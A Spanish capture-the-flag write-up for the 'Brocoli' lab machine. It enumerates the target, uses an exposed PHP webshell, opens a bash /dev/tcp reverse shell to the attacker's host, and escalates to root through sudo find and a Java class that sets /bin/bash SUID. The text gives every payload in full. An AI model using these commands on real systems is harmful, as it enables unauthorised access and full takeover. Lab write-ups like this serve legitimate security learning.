TheHackerLabs Easy 🐧 Linux 192.168.56.105

Brocoli

Webshell expuesta en /uploads/, credenciales en texto plano en /opt/ y escalada en cadena mediante find y java con clase maliciosa compilada.

player@htb:~$ pwned 04 de abril de 2026

Write-Up — Brocoli

Índice

  1. Reconocimiento
  2. Enumeración web
  3. Explotación
  4. Foothold
  5. Escalada de privilegios
  6. Flags
  7. Lecciones aprendidas

Reconocimiento

Escaneo inicial de puertos:

nmap -sS -p- --min-rate 5000 -n -Pn 192.168.56.105

Resultado: dos puertos abiertos.

PuertoServicio
22/tcpSSH
80/tcpHTTP

Escaneo de versiones:

nmap -sC -sV -p 22,80 -n -Pn 192.168.56.105
PuertoServicioVersión
22/tcpOpenSSH9.6p1 Ubuntu
80/tcpApache httpd2.4.58 (Ubuntu)

El servidor web muestra la página por defecto de Apache en la raíz — no hay aplicación visible directamente.


Enumeración web

Fuzzing de directorios con gobuster:

gobuster dir -u http://192.168.56.105 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt -t 50

Resultados:

RutaStatus
/uploads/301 — directorio con listing activo
/index.html200 — página por defecto Apache
/server-status403 — acceso denegado

Contenido de /uploads/:

brocoli.php    — 31 bytes (webshell)
informebrocoli.txt — 33 bytes (hash MD5)

Lectura del archivo de texto:

curl http://192.168.56.105/uploads/informebrocoli.txt
# 913026c7754df0fbdc89b75007ad5a66

Hash MD5 crackeado con CrackStation: mecmec

El archivo brocoli.php (31 bytes) es una webshell clásica:

<?php system($_GET['cmd']); ?>

Verificación de RCE:

http://192.168.56.105/uploads/brocoli.php?cmd=id
# uid=33(www-data) gid=33(www-data) groups=33(www-data)

Explotación

Con la webshell confirmada, se establece una reverse shell.

Listener en Kali:

nc -lvnp 4444

Payload enviado vía webshell:

http://192.168.56.105/uploads/brocoli.php?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/192.168.56.102/4444+0>%261'

Shell obtenida como www-data.

Estabilización de la shell:

python3 -c 'import pty;pty.spawn("/bin/bash")'
# Ctrl+Z
stty raw -echo; fg
export TERM=xterm

Foothold

Enumeración de usuarios con shell interactiva:

cat /etc/passwd | grep -v nologin | grep -v false
# root, brocolon (uid=1000), brocoli (uid=1001)

Búsqueda de archivos .txt legibles:

find / -readable -name "*.txt" -not -path "/proc/*" -not -path "/sys/*" 2>/dev/null

Hallazgo crítico: /opt/credenciales.txt

[+] Usuario: brocoli
[+] Contraseña: megustalafruta

Acceso como brocoli:

su brocoli
# contraseña: megustalafruta

Escalada de privilegios

www-data → brocoli

Mediante credenciales encontradas en /opt/credenciales.txt.

brocoli → brocolon (sudo + find)

sudo -l
# (brocolon) NOPASSWD: /usr/bin/find

find permite ejecutar comandos arbitrarios con -exec. GTFOBins:

sudo -u brocolon /usr/bin/find . -exec /bin/bash \; -quit
# uid=1000(brocolon) — grupos incluyen lxd

brocolon → root (sudo + java)

sudo -l
# (ALL : ALL) NOPASSWD: /usr/bin/java

java puede ejecutar clases compiladas arbitrarias. Se compiló un exploit en Kali que hace /bin/bash SUID:

public class Exploit {
  public static void main(String[] args) throws Exception {
    Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","chmod u+s /bin/bash"});
    Thread.sleep(1000);
  }
}

Compilado en Kali y transferido vía HTTP:

# En Kali
javac ~/exploit/Exploit.java
cd ~/exploit && python3 -m http.server 8080

# En víctima
wget http://192.168.56.102:8080/Exploit.class -O /tmp/Exploit.class
sudo /usr/bin/java -cp /tmp Exploit
sleep 2
/bin/bash -p
# euid=0(root)

Flags

FlagValor
UserJDMTWEKPAMKAYALONFEUSXFKGYU
RootKASDAYQPQDABDKOPGMBGNFJFURIDEMKJH

Lecciones aprendidas

Decisiones clave:

  • El directorio /uploads/ con listing activo fue el punto de entrada — reveló la webshell y el hash MD5
  • Buscar archivos .txt legibles en todo el sistema permitió encontrar /opt/credenciales.txt
  • La cadena sudo find → sudo java es una escalada en dos pasos poco común

Alternativas descartadas:

  • Ataque LXD (grupo lxd en brocolon): LXD snap no estaba funcional en la máquina
  • SSH con credenciales directas: brocoli:mecmec no funcionó — el hash del txt no era la contraseña SSH

Conceptos aprendidos:

  • Webshells de 31 bytes — reconocer el tamaño como indicador del tipo de payload
  • GTFOBins con find: sudo -u usuario find . -exec /bin/bash \; -quit
  • GTFOBins con java: compilar una clase maliciosa y ejecutarla con sudo para hacer bash SUID
  • Cuando javac no está en el objetivo, compilar en Kali y transferir el .class

Tips y notas personales:

  • Siempre buscar /opt/ y directorios no estándar para archivos de credenciales
  • El grupo lxd es un vector potente pero requiere que LXD esté configurado
  • Para evitar problemas con heredocs en terminales inestables, usar printf o echo línea a línea
  • wget -O <ruta> a veces no funciona como esperado — verificar siempre con ls después

Status: Root